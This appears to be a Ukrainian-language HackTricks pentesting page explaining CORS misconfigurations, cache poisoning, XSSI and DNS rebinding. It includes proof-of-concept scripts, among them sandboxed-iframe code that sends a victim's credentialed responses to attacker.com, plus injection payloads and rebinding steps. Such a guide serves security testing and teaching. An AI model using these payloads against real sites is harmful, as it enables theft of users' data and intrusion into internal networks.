CORS - Misconfigurations & Bypass

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Що таке CORS?

Cross-Origin Resource Sharing (CORS) стандарт дозволяє серверам визначати, хто може отримувати доступ до їхніх ресурсів та які HTTP-методи запитів дозволені з зовнішніх джерел.

Політика same-origin вимагає, щоб сервер, що робить запит ресурсу та сервер, який розміщує сам ресурс, використовували однаковий протокол (наприклад, http://), доменне ім’я (наприклад, internal-web.com) і порт (наприклад, 80). За цією політикою лише веб-сторінки з того самого домену та порту мають доступ до ресурсів.

Застосування політики same-origin у контексті http://normal-website.com/example/example.html ілюструється так:

Запитуваний URLДоступ дозволено?
http://normal-website.com/example/Так: однакова схема, домен і порт
http://normal-website.com/example2/Так: однакова схема, домен і порт
https://normal-website.com/example/Ні: інша схема і порт
http://en.normal-website.com/example/Ні: інший домен
http://www.normal-website.com/example/Ні: інший домен
http://normal-website.com:8080/example/Ні: інший порт*

*Internet Explorer ігнорує номер порту при застосуванні політики same-origin, тому цей доступ дозволяється.

Access-Control-Allow-Origin Header

Цей заголовок може дозволяти кілька origin, значення null або wildcard *. Проте жоден браузер не підтримує кілька origin, і використання wildcard * має обмеження. (Wildcard має використовуватися самостійно, і його використання разом із Access-Control-Allow-Credentials: true не допускається.)

Цей заголовок надсилається сервером у відповідь на запит крос-доменного ресурсу, ініційований сайтом, причому браузер автоматично додає заголовок Origin.

Access-Control-Allow-Credentials Header

За замовчуванням, крос-доменні запити виконуються без облікових даних, таких як cookies або заголовок Authorization. Проте крос-доменний сервер може дозволити читання відповіді, якщо відправляються облікові дані, встановивши заголовок Access-Control-Allow-Credentials у true.

Якщо встановлено true, браузер передаватиме облікові дані (cookies, заголовки Authorization або клієнтські TLS-сертифікати).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Розуміння pre-flight запитів у крос-доменній комунікації

При ініціюванні крос-доменного запиту за певних умов — наприклад, при використанні нестандартного HTTP-методу (будь-якого, крім HEAD, GET, POST), додаванні нових заголовків або застосуванні спеціального значення заголовка Content-Type — може знадобитися pre-flight запит. Цей попередній запит, що використовує метод OPTIONS, повідомляє сервер про наміри майбутнього крос-доменного запиту, зокрема які HTTP-методи та заголовки він планує використовувати.

Протокол Cross-Origin Resource Sharing (CORS) вимагає цієї pre-flight перевірки, щоб визначити доцільність запитуваної крос-доменної операції шляхом перевірки дозволених методів, заголовків і довіри до origin. Для детального розуміння умов, за яких можна уникнути pre-flight запиту, зверніться до детального керівництва від Mozilla Developer Network (MDN).

Важливо зауважити, що відсутність pre-flight запиту не скасовує вимогу, щоб відповідь містила заголовки авторизації. Без цих заголовків браузер не зможе опрацювати відповідь на крос-доменний запит.

Розгляньте наступну ілюстрацію pre-flight запиту, спрямованого на використання методу PUT разом із власним заголовком Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

У відповідь сервер може повернути заголовки, які вказують на дозволені методи, дозволений origin та інші деталі політики CORS, як показано нижче:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Цей заголовок вказує, які заголовки можуть використовуватись під час фактичного запиту. Він встановлюється сервером, щоб вказати дозволені заголовки в запитах від клієнта.
  • Access-Control-Expose-Headers: Через цей заголовок сервер інформує клієнта, які заголовки можуть бути відкриті як частина відповіді, окрім простих response-заголовків.
  • Access-Control-Max-Age: Цей заголовок вказує, як довго результати pre-flight запиту можуть зберігатися в кеші. Сервер встановлює максимальний час у секундах, протягом якого інформація, повернута pre-flight запитом, може повторно використовуватися.
  • Access-Control-Request-Headers: Використовується в pre-flight запитах, цей заголовок встановлюється клієнтом, щоб повідомити сервер, які HTTP-заголовки клієнт має намір використовувати у фактичному запиті.
  • Access-Control-Request-Method: Цей заголовок, також використовується в pre-flight запитах, встановлюється клієнтом, щоб позначити, який HTTP-метод буде використаний у фактичному запиті.
  • Origin: Цей заголовок автоматично встановлюється браузером і вказує походження cross-origin запиту. Сервер використовує його для оцінки, чи слід дозволити або відхилити вхідний запит на основі політики CORS.

Зверніть увагу, що зазвичай (залежно від content-type і встановлених заголовків) в GET/POST request не надсилається pre-flight request (запит надсилається безпосередньо), але якщо ви хочете отримати доступ до headers/body of the response, відповідь має містити Access-Control-Allow-Origin заголовок, що це дозволяє.
Тому CORS не захищає від CSRF (але може бути корисним).

Локальні мережеві запити — pre-flight request

  1. Access-Control-Request-Local-Network: Цей заголовок включається в запит клієнта, щоб позначити, що звернення спрямоване до ресурсу локальної мережі. Він слугує маркером, що інформує сервер про те, що запит походить з меж локальної мережі.
  2. Access-Control-Allow-Local-Network: У відповіді сервери використовують цей заголовок, щоб повідомити, що запитуваний ресурс дозволено надавати сутностям поза локальною мережею. Він діє як “зелене світло” для спільного використання ресурсів через різні межі мереж, забезпечуючи контрольований доступ при збереженні протоколів безпеки.

У валідній відповіді, яка дозволяє локальний мережевий запит, також повинен бути вказаний у відповіді заголовок Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Зауважте, що linux 0.0.0.0 IP дозволяє bypass ці вимоги для доступу до localhost, оскільки ця IP-адреса не вважається “локальною”.

Також можливо bypass the Local Network requirements, якщо ви використовуєте public IP address of a local endpoint (наприклад, public IP маршрутизатора). Оскільки в кількох випадках, навіть якщо до public IP звертаються, якщо це from the local network, доступ буде надано.

Wildcards

Зауважте, що навіть якщо наведена нижче конфігурація може виглядати дуже дозволяючою:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Браузери цього не дозволяють, тому облікові дані не будуть відправлені з таким запитом.

Помилки конфігурації, які можна експлуатувати

Спостерігалося, що встановлення Access-Control-Allow-Credentials в true є передумовою для більшості реальних атак. Ця настройка дозволяє браузеру відправляти облікові дані та читати відповідь, підвищуючи ефективність атаки. Без цього перевага змусити браузер виконати запит замість того, щоб зробити його самому, зменшується, оскільки використати cookies користувача стає неможливо.

Виняток: Exploiting Network Location as Authentication

Існує виняток, коли мережеве розташування жертви виступає як форма автентифікації. Це дозволяє використовувати браузер жертви як proxy, обходячи IP-based authentication для доступу до intranet applications. Цей метод має подібний вплив до DNS rebinding, але його простіше експлуатувати.

Reflection of Origin in Access-Control-Allow-Origin

Реальний сценарій, коли значення заголовка Origin відображається у Access-Control-Allow-Origin, теоретично малоймовірний через обмеження на комбінування цих заголовків. Однак розробники, які прагнуть увімкнути CORS для кількох URL, можуть динамічно формувати заголовок Access-Control-Allow-Origin, копіюючи значення заголовка Origin. Такий підхід може вводити вразливості, особливо коли атакувальник використовує домен з назвою, що має виглядати легітимно, тим самим обманюючи логіку валідації.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Експлуатація походження null

Походження null, яке вказується для ситуацій на кшталт перенаправлень або локальних HTML файлів, займає унікальне положення. Деякі додатки додають це походження в whitelist, щоб полегшити локальну розробку, ненавмисно дозволяючи будь‑якому сайту імітувати походження null через sandboxed iframe, тим самим обходячи обмеження CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

При зіткненні з domain whitelist важливо перевіряти можливості обходу, наприклад додавання домену атакуючого до whitelisted домену або використання вразливостей subdomain takeover. Крім того, регулярні вирази, що використовуються для валідації доменів, можуть упускати нюанси в правилах найменування доменів, що створює додаткові можливості для обходу.

Advanced Regular Expression Bypasses

Шаблони Regex зазвичай фокусуються на буквено-цифрових символах, крапці (.) та дефісі (-), нехтуючи іншими варіантами. Наприклад, домен, створений із символів, які браузери й регулярні вирази інтерпретують по‑різному, може обійти перевірки безпеки. Обробка символу підкреслення в піддоменах у Safari, Chrome та Firefox ілюструє, як такі невідповідності можна використати для обходу логіки валідації доменів.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Розробники часто впроваджують захисні механізми для захисту від CORS exploitation, додаючи до whitelist домени, яким дозволено робити запити. Попри ці заходи безпеки, захист системи не є бездоганним. Наявність навіть одного вразливого піддомену серед whitelisted доменів може відкрити шлях для CORS exploitation через інші вразливості, такі як XSS (Cross-Site Scripting).

To illustrate, consider the scenario where a domain, requester.com, is whitelisted to access resources from another domain, provider.com. The server-side configuration might look something like this:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

У цьому налаштуванні всім субдоменам requester.com дозволено доступ. Однак якщо субдомен, скажімо sub.requester.com, скомпрометовано через XSS-уразливість, нападник може використати цю слабкість. Наприклад, нападник, який має доступ до sub.requester.com, може експлуатувати XSS-уразливість, щоб обійти політику CORS та шкідливо отримати доступ до ресурсів на provider.com.

Спеціальні символи

PortSwigger’s URL validation bypass cheat sheet виявив, що деякі браузери підтримують незвичні символи в іменах доменів.

Chrome і Firefox підтримують підкреслення _, які можуть обійти regexes, реалізовані для валідації заголовка Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari ще більш лояльний і допускає спеціальні символи в доменному імені:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Інші кумедні трюки з URL

URL Format Bypass

Отруєння серверного кешу

From this research

Можливо, що, експлуатуючи отруєння серверного кешу через HTTP header injection, можна викликати збережену Cross-Site Scripting (XSS) вразливість. Цей сценарій розвивається, коли додаток не очищує заголовок Origin від заборонених символів, створюючи вразливість, особливо для користувачів Internet Explorer та Edge. Ці браузери сприймають (0x0d) як допустимий термінатор HTTP-заголовка, що призводить до вразливостей HTTP header injection.

Розглянемо наступний запит, у якому заголовок Origin маніпульований:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer і Edge інтерпретують відповідь як:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Хоча безпосереднє використання цієї вразливості шляхом примушування веб-браузера відправити пошкоджений заголовок є непрактичним, сконструйований запит можна вручну згенерувати за допомогою інструментів, таких як Burp Suite. Цей метод може призвести до того, що server-side cache збереже відповідь і випадково видаватиме її іншим. Сконструйований payload має на меті змінити набір символів сторінки на UTF-7 — кодування символів, яке часто асоціюється з XSS через здатність кодувати символи так, що вони можуть бути виконані як скрипт у певних контекстах.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Примітка: Експлуатація вразливостей HTTP header injection, особливо через server-side cache poisoning, підкреслює критичну важливість перевірки та санітизації всіх даних, що надходять від користувача, включаючи HTTP headers. Завжди застосовуйте надійну модель безпеки, яка включає перевірку введення даних для запобігання таким вразливостям.

Client-Side cache poisoning

From this research

У цьому сценарії спостерігається випадок, коли веб-сторінка відображає вміст кастомного HTTP заголовка без належного кодування. Конкретно, сторінка відображає вміст заголовка X-User-id, який може містити шкідливий JavaScript, як показано в прикладі, де заголовок містить SVG image tag, спроєктований для виконання JavaScript під час завантаження.

Cross-Origin Resource Sharing (CORS) політики дозволяють відправляти кастомні заголовки. Однак через те, що відповідь зазвичай не рендериться браузером напряму через CORS-обмеження, вигода від такої ін’єкції може здаватися обмеженою. Критичний момент полягає у поведінці кеша браузера. Якщо заголовок Vary: Origin не вказано, шкідлива відповідь може бути закешована браузером. Надалі цей закешований response може бути відрендерений безпосередньо під час переходу на URL, обходячи потребу в прямому рендерингу під час початкового запиту. Цей механізм підвищує надійність атаки, використовуючи client-side caching.

Щоб проілюструвати цю атаку, наведено приклад на JavaScript, призначений для виконання в середовищі веб-сторінки, наприклад через JSFiddle. Цей скрипт виконує просту дію: відправляє запит на вказаний URL з кастомним заголовком, що містить шкідливий JavaScript. Після успішного завершення запиту він намагається перейти на цільовий URL, що потенційно може спричинити виконання ін’єкованого скрипта, якщо відповідь була кешована без належної обробки заголовка Vary: Origin.

Ось короткий підсумок JavaScript, який використовується для виконання цієї атаки:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Обхід

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, також відомий як Cross-Site Script Inclusion, — це тип вразливості, який використовує те, що Same Origin Policy (SOP) не застосовується при включенні ресурсів за допомогою script tag. Це відбувається тому, що скрипти мають бути включені з різних доменів. Ця вразливість дозволяє нападнику отримати доступ і прочитати будь-який вміст, який був включений через script tag.

Ця вразливість стає особливо суттєвою щодо динамічного JavaScript або JSONP (JSON with Padding), особливо коли для аутентифікації використовуються ambient-authority дані, такі як cookies. При запиті ресурсу з іншого хоста cookies додаються до запиту, роблячи їх доступними для нападника.

Щоб краще зрозуміти і пом’якшити цю вразливість, можна використати плагін BurpSuite за адресою https://github.com/kapytein/jsonp. Цей плагін допоможе виявити та виправити потенційні XSSI-вразливості у ваших веб-додатках.

Дізнатися більше про різні типи XSSI та як їх експлуатувати тут.

Спробуйте додати параметр callback у запит. Можливо сторінка була підготовлена для відправки даних як JSONP. У такому випадку сторінка поверне дані з Content-Type: application/javascript, що обійде політику CORS.

Easy (useless?) bypass

Один зі способів обійти обмеження Access-Control-Allow-Origin — це змусити вебдодаток виконати запит від вашого імені та надіслати відповідь назад. Проте в цьому випадку облікові дані кінцевої жертви не будуть відправлені, оскільки запит робиться до іншого домену.

  1. CORS-escape: цей інструмент надає проксі, який пересилає ваш запит разом з його заголовками, підмінюючи Origin заголовок так, щоб він відповідав запитуваному домену. Це ефективно обходить політику CORS. Ось приклад використання з XMLHttpRequest:
  2. simple-cors-escape: цей інструмент пропонує альтернативний підхід до проксінгу запитів. Замість того, щоб пересилати ваш запит “як є”, сервер сам робить запит з вказаними параметрами.

Iframe + Popup Bypass

Ви можете обійти перевірки CORS такі як e.origin === window.origin, створивши iframe і відкривши з нього нове вікно. Більш детальна інформація на наступній сторінці:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL — це техніка, що використовується для обходу певних заходів безпеки шляхом маніпуляції DNS записами. Ось як це працює:

  1. Нападник створює вебсторінку і змушує жертву відкрити її.
  2. Потім нападник змінює DNS (IP) власного домену, щоб вказати на вебсайт жертви.
  3. Браузер жертви кешує DNS-відповідь, яка може містити TTL (Time to Live) — час, протягом якого запис вважається дійсним.
  4. Коли TTL закінчується, браузер жертви робить новий DNS-запит, дозволяючи нападникові виконати JavaScript код на сторінці жертви.
  5. Тримайки контроль над IP жертви, нападник може збирати інформацію з жертви без відправки будь-яких cookies на сервер жертви.

Варто зазначити, що браузери мають механізми кешування, які можуть перешкоджати миттєвому зловживанню цією технікою, навіть при малих TTL.

DNS rebinding корисний для обходу явних перевірок IP, які виконує жертва, або в сценаріях, коли користувач чи бот довго перебуває на одній сторінці, даючи кешу час на закінчення.

Якщо потрібен швидкий спосіб для експлуатації DNS rebinding, можна скористатися сервісами на кшталт https://lock.cmpxchg8b.com/rebinder.html.

Щоб запустити власний DNS rebinding сервер, можна використати інструменти, такі як DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Це передбачає відкриття локального порту 53/udp, створення A запису, що вказує на нього (наприклад, ns.example.com), і створення NS запису, який вказує на раніше створений A субдомен (наприклад, ns.example.com). Будь-який субдомен під ns.example.com тоді буде резолвитись вашим хостом.

Також можна дослідити публічно доступний сервер за адресою http://rebind.it/singularity.html для подальшого розуміння та експериментів.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding — ще одна техніка, яка використовується для обходу механізму кешування браузерів і примушення до другого DNS-запиту. Як це працює:

  1. Спочатку, коли жертва робить DNS-запит, їй відповідають IP адресою нападника.
  2. Щоб обійти захист кешування, нападник використовує service worker. Service worker «заливає» DNS кеш, що фактично видаляє кешовану назву серверу нападника.
  3. Коли браузер жертви робить другий DNS-запит, йому відповідають IP 127.0.0.1, який зазвичай посилається на localhost.

Заливаючи DNS кеш через service worker, нападник може маніпулювати процесом резолюції DNS і змусити браузер жертви зробити повторний запит, цього разу резолитись на потрібну IP адреси.

DNS Rebinding via Cache

Інший спосіб обійти захист кешування — використання декількох IP для одного і того ж субдомену в DNS-провайдера. Як це працює:

  1. Нападник налаштовує два A записи (або один A запис з двома IP) для одного й того ж субдомену у провайдера DNS.
  2. Коли браузер опитує ці записи, він отримує обидві IP-адреси.
  3. Якщо браузер вирішує спочатку використати IP нападника, нападник може віддати payload, який виконує HTTP запити до того ж домену.
  4. Проте, коли нападник отримує IP жертви, він перестає відповідати браузеру жертви.
  5. Браузер жертви, усвідомивши що домен не відповідає, переходить до використання другої IP, що була вказана.
  6. Отримавши доступ до другої IP, браузер обходить Same Origin Policy (SOP), що дозволяє нападнику зловживати цим і збирати та ексфільтрувати інформацію.

Ця техніка використовує поведінку браузерів при наданні кількох IP для домену. Стратегічно контролюючи відповіді та маніпулюючи вибором IP браузером, нападник може експлуатувати SOP і отримувати інформацію з жертви.

Warning

Зверніть увагу, що щоб отримати доступ до localhost, слід намагатися ребайндити 127.0.0.1 у Windows і 0.0.0.0 у Linux.
Провайдери такі як godaddy або cloudflare не дозволяли мені використовувати ip 0.0.0.0, але AWS route53 дозволив створити A запис з 2 IP, де одним із них був “0.0.0.0”

Для додаткової інформації можна перевірити https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Якщо internal IPs aren’t allowed, можливо забули заборонити 0.0.0.0 (працює на Linux і Mac)
  • Якщо internal IPs aren’t allowed, відповісти з CNAME на localhost (працює на Linux і Ma
  • Якщо internal IPs aren’t allowed як DNS-відповіді, ви можете повернути CNAMEs на internal services такі як www.corporate.internal.

DNS Rebidding Weaponized

Більше інформації про попередні методи обходу та як використовувати наступний інструмент можна знайти у доповіді Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin — інструмент для проведення DNS rebinding атак. Він включає необхідні компоненти для ребайндінгу IP адреси DNS-імені сервера нападника на IP цільової машини та для віддачі payload-ів, які експлуатують вразливе ПЗ на цільовій машині.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH просто тунелює класичний RFC1035 DNS wire формат всередині HTTPS (зазвичай POST з Content-Type: application/dns-message). Резолвер все ще відповідає тими самими ресурсними записами, тож техніки, що порушують SOP, продовжують працювати навіть коли браузери резолвлять хост, контрольований нападником, через TLS.

Key observations

  • Chrome (Windows/macOS) and Firefox (Linux) успішно роблять rebind коли налаштовані на Cloudflare, Google або OpenDNS DoH резолвери. Транспортне шифрування ані не затримує, ані не блокує attack-flow для стратегій first-then-second, multiple-answers, або DNS cache flooding.
  • Public resolvers все ще бачать кожен запит, але рідко примушують браузер використовувати певну відповідність host-to-IP. Коли authoritative сервер повертає послідовність ребайндінгу, браузер зберігає оригінальний origin tuple, підключаючись до нового IP.

Singularity strategies and timing over DoH

  • First-then-second залишається найнадійнішим варіантом: перший lookup повертає IP нападника, що віддає payload, кожен наступний lookup повертає internal/localhost IP. З типовими DNS кешами браузерів це змінює трафік приблизно за ~40–60 секунд, навіть коли recursive resolver доступний лише через HTTPS.
  • Multiple answers (fast rebinding) все ще доходить до localhost менше ніж за 3 секунди, відповідаючи двома A записами (IP нападника + 0.0.0.0 на Linux/macOS або 127.0.0.1 на Windows) і програмно «чорноруйчи» перший IP (наприклад, iptables -I OUTPUT -d <attacker_ip> -j DROP) незабаром після завантаження сторінки. DoH-реалізація Firefox може надсилати повторні DNS-запити, тому фікс у Singularity — планувати firewall правило відносно часового штампу першого запиту замість оновлення таймера на кожному запиті.

Beating “rebind protection” in DoH providers

  • Деякі провайдери (наприклад, NextDNS) замінюють приватні/loopback відповіді на 0.0.0.0, але Linux і macOS без проблем маршрутизують цей напрямок до локальних сервісів. Тому умисне повернення 0.0.0.0 як другого запису все ще переводить origin до localhost.
  • Фільтрація тільки прямої A/AAAA відповіді неефективна: повернення CNAME на internal-only hostname змушує публічний DoH резолвер переслати alias, тоді як браузери такі як Firefox відкотяться до системного DNS для internal зони, завершуючи резолюцію до приватного IP, який все ще вважається origin нападника.

Browser-specific DoH behavior

  • Firefox DoH працює у fallback режимі: будь-яка DoH помилка (включаючи нерозв’язану CNAME ціль) тригерить plaintext lookup через OS resolver, який зазвичай є корпоративним DNS сервером, що знає internal namespace. Ця поведінка робить CNAME обхід надійним у корпоративних мережах.
  • Chrome DoH активується лише коли OS DNS вказує на whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9 і т.д.) і не забезпечує аналогічного fallback ланцюга. Internal hostnames, які існують тільки в корпоративному DNS, тому не резолвляться, але ребайндінг у бік localhost або будь-якої маршрутизованої адреси все ще вдається, бо нападник контролює весь набір відповідей.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS і вкажіть DoH endpoint (Cloudflare і NextDNS вбудовані). Chrome/Chromium: увімкніть chrome://flags/#dns-over-https і налаштуйте OS DNS сервери на один з підтримуваних Chrome резолверів (наприклад, 1.1.1.1/1.0.0.1).
  • Ви можете робити запити до публічних DoH API напряму, наприклад curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq щоб підтвердити точні записи, які браузери кешуватимуть.
  • Перехоплення DoH у Burp/ZAP все ще працює, бо це просто HTTPS (бінарний DNS payload в тілі). Для інспекції на рівні пакетів експортуйте TLS-ключі (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) перед запуском браузера і дозвольте Wireshark розшифрувати DoH сесії із фільтром dns, щоб бачити коли браузер лишається на DoH або відкотиться до класичного DNS.

Real Protection against DNS Rebinding

  • Використовуйте TLS у internal сервісах
  • Вимагайте аутентифікацію для доступу до даних
  • Валідуйте Host header
  • https://wicg.github.io/private-network-access/: пропозиція завжди відправляти pre-flight запит коли public servers хочуть доступитися до internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks